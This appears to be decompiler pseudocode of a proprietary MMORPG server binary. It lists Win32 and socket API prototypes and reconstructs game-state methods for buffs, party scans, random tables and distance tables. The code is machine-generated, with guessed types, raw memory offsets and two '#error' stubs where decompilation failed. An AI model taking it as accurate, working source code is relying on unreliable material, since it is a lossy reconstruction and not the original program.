void __cdecl _E175_0(); // idb void __cdecl _E178(); // idb void __cdecl _E181(); // idb void __cdecl _E184(); // idb void __cdecl _E191(); // idb void __cdecl _E197(); // idb void __cdecl _E200(); // idb void __cdecl _E203(); // idb void __cdecl _E206(); // idb void __cdecl _E209(); // idb void __cdecl _E221(); // idb void __cdecl _E224(); // idb void __cdecl _E7_58(); // idb void __cdecl _E188(); // idb void __cdecl _E194(); // idb void __cdecl _E212(); // idb void __cdecl _E215(); // idb void __cdecl _E218(); // idb int __cdecl _E261(); int __cdecl _E259(); int __cdecl _E257(); int __cdecl _E255(); int __cdecl _E253(); int __cdecl _E251(); int __cdecl _E249(); int __cdecl _E247(); int __cdecl _E245(); int __cdecl _E243(); int __cdecl _E241(); int __cdecl _E239(); int __cdecl _E237(); int __cdecl _E235(); int __cdecl _E265(); int __cdecl _E263(); void __cdecl _E5_78(); // idb int __cdecl _E4_88(); int __cdecl _E4_89(); void __cdecl _E7_59(); // idb void __cdecl _E4_90(); // idb void __cdecl _E10_29(); // idb int __cdecl _E4_91(); int __cdecl _E2_25(); void __cdecl _E5_79(); // idb void __cdecl _E4_92(); // idb void __cdecl _E5_80(); // idb void __cdecl _E2_26(); // idb void __cdecl _E5_81(); // idb void __cdecl _E4_93(); // idb void __cdecl _E10_30(); // idb void __cdecl _E7_60(); // idb void __cdecl _E2_27(); // idb void __cdecl _E2_28(); // idb void __cdecl _E5_82(); // idb void __cdecl _E8_38(); // idb void __cdecl _E2_29(); // idb void __cdecl _E2_30(); // idb void __cdecl _E2_31(); // idb void __cdecl _E2_32(); // idb void __cdecl _E5_83(); // idb void __cdecl _E8_39(); // idb void __cdecl _E2_33(); // idb void __cdecl _E2_34(); // idb void __cdecl _E5_84(); // idb void __cdecl _E8_40(); // idb void __cdecl _E11_34(); // idb void __cdecl _E14_17(); // idb void __cdecl _E17_20(); // idb void __cdecl _E20_11(); // idb void __cdecl _E23_11(); // idb void __cdecl _E26_9(); // idb void __cdecl _E29_10(); // idb void __cdecl _E32_8(); // idb void __cdecl _E35_6(); // idb void __cdecl _E38_5(); // idb void __cdecl _E41_4(); // idb void __cdecl _E44_5(); // idb void __cdecl _E47_5(); // idb void __cdecl _E50_3(); // idb void __cdecl _E2_35(); // idb void __cdecl _E5_85(); // idb void __cdecl _E2_36(); // idb void __cdecl _E2_37(); // idb void __cdecl _E2_38(); // idb void __cdecl _E2_39(); // idb void __cdecl _E2_40(); // idb void __cdecl _E2_41(); // idb void __cdecl _E5_86(); // idb // BOOL __stdcall StartServiceCtrlDispatcherA(const SERVICE_TABLE_ENTRYA *lpServiceStartTable); // SERVICE_STATUS_HANDLE __stdcall RegisterServiceCtrlHandlerA(LPCSTR lpServiceName, LPHANDLER_FUNCTION lpHandlerProc); // BOOL __stdcall QueryServiceStatus(SC_HANDLE hService, LPSERVICE_STATUS lpServiceStatus); // BOOL __stdcall SetServiceStatus(SERVICE_STATUS_HANDLE hServiceStatus, LPSERVICE_STATUS lpServiceStatus); // SC_HANDLE __stdcall OpenServiceA(SC_HANDLE hSCManager, LPCSTR lpServiceName, DWORD dwDesiredAccess); // BOOL __stdcall DeleteService(SC_HANDLE hService); // SC_HANDLE __stdcall OpenSCManagerA(LPCSTR lpMachineName, LPCSTR lpDatabaseName, DWORD dwDesiredAccess); // SC_HANDLE __stdcall CreateServiceA(SC_HANDLE hSCManager, LPCSTR lpServiceName, LPCSTR lpDisplayName, DWORD dwDesiredAccess, DWORD dwServiceType, DWORD dwStartType, DWORD dwErrorControl, LPCSTR lpBinaryPathName, LPCSTR lpLoadOrderGroup, LPDWORD lpdwTagId, LPCSTR lpDependencies, LPCSTR lpServiceStartName, LPCSTR lpPassword); // BOOL __stdcall CloseServiceHandle(SC_HANDLE hSCObject); // BOOL __stdcall QueryPerformanceFrequency(LARGE_INTEGER *lpFrequency); // void __stdcall Sleep(DWORD dwMilliseconds); // void __stdcall GetLocalTime(LPSYSTEMTIME lpSystemTime); // void __stdcall GetSystemInfo(LPSYSTEM_INFO lpSystemInfo); // BOOL __stdcall FindClose(HANDLE hFindFile); // BOOL __stdcall FindNextFileA(HANDLE hFindFile, LPWIN32_FIND_DATAA lpFindFileData); // BOOL __stdcall DeleteFileA(LPCSTR lpFileName); // HANDLE __stdcall FindFirstFileA(LPCSTR lpFileName, LPWIN32_FIND_DATAA lpFindFileData); // HANDLE __stdcall CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); // DWORD __stdcall GetModuleFileNameA(HMODULE hModule, LPSTR lpFilename, DWORD nSize); // DWORD __stdcall GetLastError(); // BOOL __stdcall SetLocalTime(const SYSTEMTIME *lpSystemTime); // BOOL __stdcall QueryPerformanceCounter(LARGE_INTEGER *lpPerformanceCount); // DWORD __stdcall TlsAlloc(); // BOOL __stdcall CloseHandle(HANDLE hObject); // HANDLE __stdcall GetCurrentProcess(); // DWORD __stdcall GetCurrentProcessId(); // DWORD __stdcall GetCurrentThreadId(); // HANDLE __stdcall CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); // FARPROC __stdcall GetProcAddress(HMODULE hModule, LPCSTR lpProcName); // HMODULE __stdcall LoadLibraryA(LPCSTR lpLibFileName); // LPTOP_LEVEL_EXCEPTION_FILTER __stdcall SetUnhandledExceptionFilter(LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter); // DWORD __stdcall FormatMessageA(DWORD dwFlags, LPCVOID lpSource, DWORD dwMessageId, DWORD dwLanguageId, LPSTR lpBuffer, DWORD nSize, va_list *Arguments); // void __stdcall GetSystemTime(LPSYSTEMTIME lpSystemTime); // int __stdcall GetTimeFormatA(LCID Locale, DWORD dwFlags, const SYSTEMTIME *lpTime, LPCSTR lpFormat, LPSTR lpTimeStr, int cchTime); // BOOL __stdcall GetExitCodeProcess(HANDLE hProcess, LPDWORD lpExitCode); // DWORD __stdcall WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds); // BOOL __stdcall CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation); // void __stdcall InitializeCriticalSection(LPCRITICAL_SECTION lpCriticalSection); // void __stdcall DeleteCriticalSection(LPCRITICAL_SECTION lpCriticalSection); // void __stdcall EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection); // void __stdcall LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSection); // BOOL __stdcall ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped); // BOOL __stdcall PostQueuedCompletionStatus(HANDLE CompletionPort, DWORD dwNumberOfBytesTransferred, ULONG_PTR dwCompletionKey, LPOVERLAPPED lpOverlapped); // BOOL __stdcall WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped); // HANDLE __stdcall CreateIoCompletionPort(HANDLE FileHandle, HANDLE ExistingCompletionPort, ULONG_PTR CompletionKey, DWORD NumberOfConcurrentThreads); // BOOL __stdcall GetQueuedCompletionStatus(HANDLE CompletionPort, LPDWORD lpNumberOfBytesTransferred, PULONG_PTR lpCompletionKey, LPOVERLAPPED *lpOverlapped, DWORD dwMilliseconds); // BOOL __stdcall SetCurrentDirectoryA(LPCSTR lpPathName); // DWORD __stdcall GetCurrentDirectoryA(DWORD nBufferLength, LPSTR lpBuffer); // BOOL __stdcall SetEvent(HANDLE hEvent); // HANDLE __stdcall CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCSTR lpName); // void __stdcall OutputDebugStringA(LPCSTR lpOutputString); // BOOL __stdcall IsBadReadPtr(const void *lp, UINT_PTR ucb); // BOOL __stdcall ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead); // LPSTR __stdcall lstrcpynA(LPSTR lpString1, LPCSTR lpString2, int iMaxLength); // int __stdcall lstrlenA(LPCSTR lpString); // HANDLE __stdcall GetCurrentThread(); // HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName); // void __stdcall SetLastError(DWORD dwErrCode); // LONG __stdcall InterlockedExchange(volatile LONG *Target, LONG Value); // BOOL __stdcall SwitchToThread(); // LONG __stdcall InterlockedCompareExchange(volatile LONG *Destination, LONG Exchange, LONG Comperand); // LONG __stdcall InterlockedIncrement(volatile LONG *lpAddend); // LONG __stdcall InterlockedDecrement(volatile LONG *lpAddend); // DWORD __stdcall SetFilePointer(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod); // BOOL __stdcall SystemTimeToFileTime(const SYSTEMTIME *lpSystemTime, LPFILETIME lpFileTime); // DWORD __stdcall GetFileSize(HANDLE hFile, LPDWORD lpFileSizeHigh); // int __stdcall MessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType); // int _wsprintfA(LPSTR, LPCSTR, ...); // DWORD __stdcall timeGetTime(); // int __stdcall WSACleanup(); // int __stdcall bind(SOCKET s, const struct sockaddr *name, int namelen); // SOCKET __stdcall accept(SOCKET s, struct sockaddr *addr, int *addrlen); // SOCKET __stdcall socket(int af, int type, int protocol); // unsigned __int32 __stdcall inet_addr(const char *cp); // u_short __stdcall htons(u_short hostshort); // int __stdcall closesocket(SOCKET s); // int __stdcall WSAGetLastError(); // int __stdcall getsockname(SOCKET s, struct sockaddr *name, int *namelen); // char *__stdcall inet_ntoa(struct in_addr in); // u_short __stdcall ntohs(u_short netshort); // int __stdcall ioctlsocket(SOCKET s, __int32 cmd, u_long *argp); // int __stdcall setsockopt(SOCKET s, int level, int optname, const char *optval, int optlen); // int __stdcall getsockopt(SOCKET s, int level, int optname, char *optval, int *optlen); // int __stdcall getpeername(SOCKET s, struct sockaddr *name, int *namelen); // int __stdcall listen(SOCKET s, int backlog); // int __stdcall shutdown(SOCKET s, int how); // int __stdcall select(int nfds, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, const struct timeval *timeout); // int __stdcall connect(SOCKET s, const struct sockaddr *name, int namelen); // BOOL __stdcall MakeSureDirectoryPathExists(PCSTR DirPath); // BOOL __stdcall SymInitialize(HANDLE hProcess, PCSTR UserSearchPath, BOOL fInvadeProcess); // DWORD __stdcall SymSetOptions(DWORD SymOptions); // DWORD __stdcall SymGetOptions(); // BOOL __stdcall SymCleanup(HANDLE hProcess); // BOOL __stdcall SymGetLineFromAddr64(HANDLE hProcess, DWORD64 qwAddr, PDWORD pdwDisplacement, PIMAGEHLP_LINE64 Line64); // BOOL __stdcall SymGetSymFromAddr64(HANDLE hProcess, DWORD64 qwAddr, PDWORD64 pdwDisplacement, PIMAGEHLP_SYMBOL64 Symbol); // BOOL __stdcall StackWalk64(DWORD MachineType, HANDLE hProcess, HANDLE hThread, LPSTACKFRAME64 StackFrame, PVOID ContextRecord, PREAD_PROCESS_MEMORY_ROUTINE64 ReadMemoryRoutine, PFUNCTION_TABLE_ACCESS_ROUTINE64 FunctionTableAccessRoutine, PGET_MODULE_BASE_ROUTINE64 GetModuleBaseRoutine, PTRANSLATE_ADDRESS_ROUTINE64 TranslateAddress); //----- (00401000) -------------------------------------------------------- int __thiscall Name3::operator__(Name3 *this, Name3 *nm) { return *(_DWORD *)&this->n3_name[0] != *(_DWORD *)&nm->n3_name[0] || *(_DWORD *)&this->n3_name[4] != *(_DWORD *)&nm->n3_name[4] || *(_DWORD *)&this->n3_name[8] != *(_DWORD *)&nm->n3_name[8]; } //----- (00401030) -------------------------------------------------------- int __thiscall Name4::operator_(int this, int a2) { int result; // eax@1 *(_DWORD *)this = *(_DWORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); result = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 12) = result; return result; } //----- (00401050) -------------------------------------------------------- int __thiscall AssertClass::operator__(AssertClass *this, int condition, const char *message, int flag) { if ( !condition ) AssertClass::ac_AssertFail(this, message, flag); return condition == 0; } //----- (00401080) -------------------------------------------------------- int __thiscall AssertClass::operator__(AssertClass *this, int condition, const char *message, int flag1, int flag2) { if ( !condition ) AssertClass::ac_AssertFail(this, message, flag1, flag2); return condition == 0; } //----- (004010B0) -------------------------------------------------------- char __thiscall Metronome::operator unsigned_char(Metronome *this) { char result; // al@2 if ( clockwatch.cw_CurrTick <= this->m_NextTick ) { result = 0; } else { this->m_NextTick += this->m_TickInterval; result = 1; } return result; } //----- (004010D0) -------------------------------------------------------- int __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_GetStrength(AbnormalStateContainer::AbstateElementInObject *this) { return this->aeo_Strength; } //----- (004010E0) -------------------------------------------------------- AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *__thiscall AbnormalStateContainer::AbstateElementInObject::aeo_GetIndexArgument(AbnormalStateContainer::AbstateElementInObject *this) { return (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_604F0C + 3 * this->aeo_Index) + 36 * this->aeo_Strength + 8); } //----- (00401100) -------------------------------------------------------- int __thiscall AbnormalStateContainer::AbstateListInObject::asl_GetAbstateList(void *this) { return (int)((char *)this + 3480); } //----- (00401110) -------------------------------------------------------- unsigned __int16 __thiscall RandomBox::operator__(RandomBox *this, unsigned int limit) { char *v2; // ecx@3 int v3; // eax@3 unsigned __int16 result; // ax@3 if ( limit && limit <= 0x64 ) { v2 = (char *)this + 32776 * limit; v3 = *((_DWORD *)v2 + 8193) & (*((_DWORD *)v2 + 8192) + 1); *((_DWORD *)v2 + 8192) = v3; result = *(_WORD *)&v2[2 * v3]; } else { result = 0; } return result; } //----- (00401150) -------------------------------------------------------- unsigned __int16 __thiscall RandomBox::rb_1000(RandomBox *this) { unsigned int v1; // eax@1 int v2; // eax@1 unsigned int v3; // edx@1 char *v4; // eax@1 int v5; // ecx@1 v1 = this->rb_box[4].rs_point.mask & (this->rb_box[4].rs_point.value + 1); this->rb_box[4].rs_point.value = v1; v2 = this->rb_box[4].rs_slot[v1] + 101; v3 = this->rb_box[v2].rs_point.mask; v4 = (char *)this + v2 * 32776; v5 = v3 & (*((_DWORD *)v4 + 8192) + 1); *((_DWORD *)v4 + 8192) = v5; return *(_WORD *)&v4[2 * v5]; } //----- (004011A0) -------------------------------------------------------- unsigned int __thiscall DirectDistanceTable::ddt_Distance(DirectDistanceTable *this, int dx, int dy) { int v3; // esi@1 int v4; // edi@1 signed int v5; // ebx@1 v3 = dx; v4 = dy; v5 = 1; while ( v3 > 1024 || v3 < -1024 || v4 > 1024 || v4 < -1024 ) { v3 /= 2; v4 /= 2; v5 *= 2; } return v5 * *(unsigned int *)((char *)&this->ddt_Table[0][v4 + 2049 * v3].distance + (_DWORD)((char *)&wholesaver + 8682560)); } //----- (00401200) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_DistanceSquar(int this, int x, int y) { return (**(_DWORD **)(this + 78) - x) * (**(_DWORD **)(this + 78) - x) + (*(_DWORD *)(*(_DWORD *)(this + 78) + 4) - y) * (*(_DWORD *)(*(_DWORD *)(this + 78) + 4) - y); } //----- (00401220) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_DistanceSquar(int this, int loc) { int v2; // eax@1 int v3; // ecx@1 int v4; // eax@1 v2 = *(_DWORD *)(this + 78); v3 = *(_DWORD *)v2 - *(_DWORD *)loc; v4 = *(_DWORD *)(v2 + 4) - *(_DWORD *)(loc + 4); return v3 * v3 + v4 * v4; } //----- (00401240) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_CurMapname(int this) { return *(_DWORD *)(this + 98); } //----- (00401250) -------------------------------------------------------- AbnormalStateDictionary::AbState::AbStateStr *__thiscall AbnormalStateDictionary::AbState::as_FromID(AbnormalStateDictionary::AbState *this, unsigned __int16 sklid) { AbnormalStateDictionary::AbState::AbStateStr *result; // eax@2 if ( this->as_maxhandle >= sklid ) { result = &this->as_AbstateArray[sklid]; } else { AssertClass::ac_AssertFail(&shineassert, "AbnormalStateDictionary::AbState::as_FromID : Invalid skill id", sklid); result = 0; } return result; } //----- (00401290) -------------------------------------------------------- AbnormalStateDictionary::AbState::AbStateStr *__thiscall AbnormalStateDictionary::AbState::as_FromIndex(AbnormalStateDictionary::AbState *this, AbnormalStateInfo::ABSTATEINDEX sklindex) { AbnormalStateDictionary::AbState::AbStateStr *result; // eax@2 if ( (signed int)sklindex < 391 ) { result = this->as_StateIndexList[sklindex]; } else { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", sklindex); result = 0; } return result; } //----- (004012D0) -------------------------------------------------------- void __thiscall AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage(AbnormalStateContainer::SubAbnormalStateCaptivate *this) { this->baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; } // 596344: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActor___vftable_)(); //----- (004012E0) -------------------------------------------------------- int __thiscall AbnormalStateContainer::AbnormalStateElement::ase_GetActMilliSec(AbnormalStateContainer::AbnormalStateElement *this) { return 999999999; } //----- (004012F0) -------------------------------------------------------- int __thiscall AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::ase_GetActMilliSec(AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant *this) { return 5000; } //----- (00401300) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbnormalStateTickRoutine::AbnormalStateTickRoutine(AbnormalStateContainer::AbnormalStateTickRoutine *this) { this->baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; Metronome::Metronome(&this->astr_Tick); } // 596828: using guessed type int (*AbnormalStateContainer__AbnormalStateTickRoutine___vftable_)(); //----- (00401350) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbnormalStateTickRoutine::_AbnormalStateTickRoutine(AbnormalStateContainer::AbnormalStateTickRoutine *this) { AbnormalStateContainer::AbnormalStateTickRoutine *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this->astr_Tick); v1->baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; } // 596720: using guessed type int (*AbnormalStateContainer__AbnormalStateElement___vftable_)(); // 596828: using guessed type int (*AbnormalStateContainer__AbnormalStateTickRoutine___vftable_)(); //----- (004013A0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbnormalStateElementNormal::ase_IndexString(AbnormalStateContainer::AbnormalStateElementNormal *this) { return "Normal"; } //----- (004013B0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbnormalStatePartyEnchant::ase_IndexString(AbnormalStateContainer::AbnormalStatePartyEnchant *this) { return "Party"; } //----- (004013C0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::ase_IndexString(AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant *this) { return "GldAca"; } //----- (004013D0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbnormalStateCouplePartyEnchant::ase_IndexString(AbnormalStateContainer::AbnormalStateCouplePartyEnchant *this) { return "WedCpl"; } //----- (004013E0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbnormalStateElementRecover::ase_IndexString(AbnormalStateContainer::AbnormalStateElementRecover *this) { return "Recover"; } //----- (004013F0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbnormalStateReinforcedMove::ase_IndexString(AbnormalStateContainer::AbnormalStateReinforcedMove *this) { return "ReinforcedMove"; } //----- (00401400) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbnormalStateRestCount::ase_IndexString(AbnormalStateContainer::AbnormalStateRestCount *this) { return "RestCount"; } //----- (00401410) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbnormalStateTickRoutine::ase_IndexString(AbnormalStateContainer::AbnormalStateTickRoutine *this) { return "Tick"; } //----- (00401420) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbnormalStateEachTickRoutine::ase_IndexString(AbnormalStateContainer::AbnormalStateEachTickRoutine *this) { return "EachTick"; } //----- (00401430) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbnormalStateHide::ase_IndexString(AbnormalStateContainer::AbnormalStateHide *this) { return "Hide"; } //----- (00401440) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbnormalStatePolymorph::ase_IndexString(AbnormalStateContainer::AbnormalStatePolymorph *this) { return "Polymorph"; } //----- (00401450) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActor::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActor *this) { return "Actor"; } //----- (00401460) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateMaxHP::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateMaxHP *this) { return "MaxHP"; } //----- (00401470) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateFear::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateFear *this) { return "Fear"; } //----- (00401480) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateCaptivate::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateCaptivate *this) { return "Captivate"; } //----- (00401490) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorPoison::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorPoison *this) { return "Poison"; } //----- (004014A0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorAreaDamage::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorAreaDamage *this) { return "RangeDamage"; } //----- (004014B0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorDisease::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorDisease *this) { return "Disease"; } //----- (004014C0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorHPHeal::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorHPHeal *this) { return "HPHeal"; } //----- (004014D0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorSPHeal::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorSPHeal *this) { return "SPHeal"; } //----- (004014E0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorHPSPHeal::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorHPSPHeal *this) { return "HPSPHeal"; } //----- (004014F0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorShield::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorShield *this) { return "Shield"; } //----- (00401500) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorManaShield::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorManaShield *this) { return "ManaShield"; } //----- (00401510) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorPartyRecharge::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorPartyRecharge *this) { return "PartyRecharge"; } //----- (00401520) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorSelfRevive::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorSelfRevive *this) { return "SelfRevive"; } //----- (00401530) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorRangeIntercept::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorRangeIntercept *this) { return "RangeIntercept"; } //----- (00401540) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio *this) { return "LastDmgRetio"; } //----- (00401550) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide *this) { return "LastDmgRatio_DefSide"; } //----- (00401560) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActerTimeAttack::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActerTimeAttack *this) { return "TimeAttack"; } //----- (00401570) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorCastDelay::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorCastDelay *this) { return "CastDelay"; } //----- (00401580) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorIgnoreCoolTime::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorIgnoreCoolTime *this) { return "IgnoreCoolTime"; } //----- (00401590) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorSilence::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorSilence *this) { return "Silence"; } //----- (004015A0) -------------------------------------------------------- AbnormalStateContainer::AbnormalStateElement *__thiscall AbnormalStateContainer::AbnormalStateElement::ase_This(AbnormalStateContainer::AbnormalStateElement *this) { AssertClass::ac_AssertFail(&shineassert, "AbnormalStateElement *AbnormalStateElement::ase_This called", 0); ShineExit("AbnormalStateElement *AbnormalStateElement::ase_This called"); } //----- (004015D0) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbnormalStatePartyEnchant::_AbnormalStatePartyEnchant(AbnormalStateContainer::AbnormalStateCouplePartyEnchant *this) { this->baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; } // 596720: using guessed type int (*AbnormalStateContainer__AbnormalStateElement___vftable_)(); //----- (004015E0) -------------------------------------------------------- AbnormalStateContainer::AbnormalStateElement *__thiscall AbnormalStateContainer::AbnormalStateList::operator__(AbnormalStateContainer::AbnormalStateList *this, int num) { AbnormalStateContainer::AbnormalStateElement *result; // eax@3 if ( num < 0 || num >= 391 ) result = 0; else result = this->asl_AbstateNode[num].asn_Abstate; return result; } //----- (00401600) -------------------------------------------------------- void __thiscall AxialListNearScanParty::AxialListNearScanParty(AxialListNearScanParty *this, unsigned __int16 partyregnum) { AxialListNearScanParty *v2; // esi@1 v2 = this; AxialListNearScan::AxialListNearScan(&this->baseclass_0); v2->alnsp_PartyRegnum = partyregnum; v2->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearScanParty::_vftable_; } // 596AD4: using guessed type int (__stdcall *AxialListNearScanParty___vftable_)(int, int, int distancesquar); //----- (00401620) -------------------------------------------------------- void __thiscall AxialListNearScanParty::_AxialListNearScanParty(AxialListNearScanParty *this) { this->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearScanParty::_vftable_; AxialListNearScan::_AxialListNearScan(&this->baseclass_0); } // 596AD4: using guessed type int (__stdcall *AxialListNearScanParty___vftable_)(int, int, int distancesquar); //----- (00401630) -------------------------------------------------------- #error "401630: undefined or illegal type '#331' (funcsize=9)" //----- (00401650) -------------------------------------------------------- void __thiscall AxialListNearScanCoupleParty::_AxialListNearScanCoupleParty(AxialListNearScanCoupleParty *this) { this->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearScanCoupleParty::_vftable_; AxialListNearScan::_AxialListNearScan(&this->baseclass_0); } // 596ADC: using guessed type int (__stdcall *AxialListNearScanCoupleParty___vftable_)(int, int, int distancesquar); //----- (00401660) -------------------------------------------------------- void __thiscall AxialListNearScanCoupleParty::AxialListNearScanCoupleParty(AxialListNearScanCoupleParty *this, unsigned __int16 partyregnum, unsigned int PartnerRegnum) { AxialListNearScanCoupleParty *v3; // esi@1 v3 = this; AxialListNearScan::AxialListNearScan(&this->baseclass_0); v3->alnsp_PartyRegnum = partyregnum; v3->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearScanCoupleParty::_vftable_; v3->alnsp_PartnerRegnum = PartnerRegnum; } // 596ADC: using guessed type int (__stdcall *AxialListNearScanCoupleParty___vftable_)(int, int, int distancesquar); //----- (00401690) -------------------------------------------------------- #error "401690: undefined or illegal type '#331' (funcsize=22)" //----- (004016D0) -------------------------------------------------------- void __thiscall AxialListNearScanGuildAcademy::_AxialListNearScanGuildAcademy(AxialListNearScanGuildAcademy *this) { this->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearScanGuildAcademy::_vftable_; AxialListNearScan::_AxialListNearScan(&this->baseclass_0); } // 596AE4: using guessed type int (__stdcall *AxialListNearScanGuildAcademy___vftable_)(int, int, int distancesquar); //----- (004016E0) 